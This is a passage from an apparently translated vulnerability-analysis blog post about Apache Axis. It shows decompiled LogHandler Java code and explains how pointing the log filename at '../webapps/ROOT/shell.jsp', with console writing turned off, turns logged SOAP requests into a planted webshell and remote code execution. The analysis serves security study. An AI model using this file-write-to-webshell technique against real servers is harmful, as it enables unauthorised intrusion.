    if (!msgContext.getPastPivot()) {
        this.start = System.currentTimeMillis();
    } else {
        this.logMessages(msgContext);
    }

    log.debug("Exit: LogHandler::invoke");
}
private void logMessages(MessageContext msgContext) throws AxisFault {
    try {
        PrintWriter writer = null;
        writer = this.getWriter();
        Message inMsg = msgContext.getRequestMessage();
        Message outMsg = msgContext.getResponseMessage();
        writer.println("=======================================================");
        if (this.start != -1L) {
            writer.println("= " + Messages.getMessage("elapsed00", "" + (System.currentTimeMillis() - this.start)));
        }

        writer.println("= " + Messages.getMessage("inMsg00", inMsg == null ? "null" : inMsg.getSOAPPartAsString()));
        writer.println("= " + Messages.getMessage("outMsg00", outMsg == null ? "null" : outMsg.getSOAPPartAsString()));
        writer.println("=======================================================");
        if (!this.writeToConsole) {
            writer.close();
        }

    } catch (Exception var5) {
        log.error(Messages.getMessage("exception00"), var5);
        throw AxisFault.makeFault(var5);
    }
}

this.getWriter();

private PrintWriter getWriter() throws IOException {
    PrintWriter writer;
    if (this.writeToConsole) {
        writer = new PrintWriter(System.out);
    } else {
        if (this.filename == null) {
            this.filename = "axis.log";
        }

        writer = new PrintWriter(new FileWriter(this.filename, true));
    }

    return writer;
}

During the initialization of this.filename, we constructed its data and defined it as.. / webapps/ROOT/shell.jsp to write it to the following directory.

It also constructs a data with this.writeToConsole=false.

This is because we need to write the requested content to the log when calling, that is,.. / webapps/ROOT/shell.jsp file.

See the following code

  if (!this.writeToConsole) {
            writer.close();
        }

If it is true here, the file stream will be closed.

Reference articles

Summary of vulnerability exploitation of Apache Axis1 and Axis2 WebService

Axis source code analysis - Web Service Deployment (II)

0x03 end

The length of vulnerability analysis is not very long. On the whole, this vulnerability is actually arbitrary writing to a file, but due to some characteristics of this component. That is, initialize and configure the service through server-config.wsdd, then you can write a malicious service to the file and call it to achieve the effect of RCE. In the replication vulnerability, it is found that / servlet/AdminServlet needs to uncomment this route. In fact, in the test, it is found that accessing this route will automatically generate the server-config.wsdd file, which is what we need. With the server-config.wsdd file, it doesn't matter whether / servlet/AdminServlet exists or not. So far, I admire the loophole digger again.

Topics: Java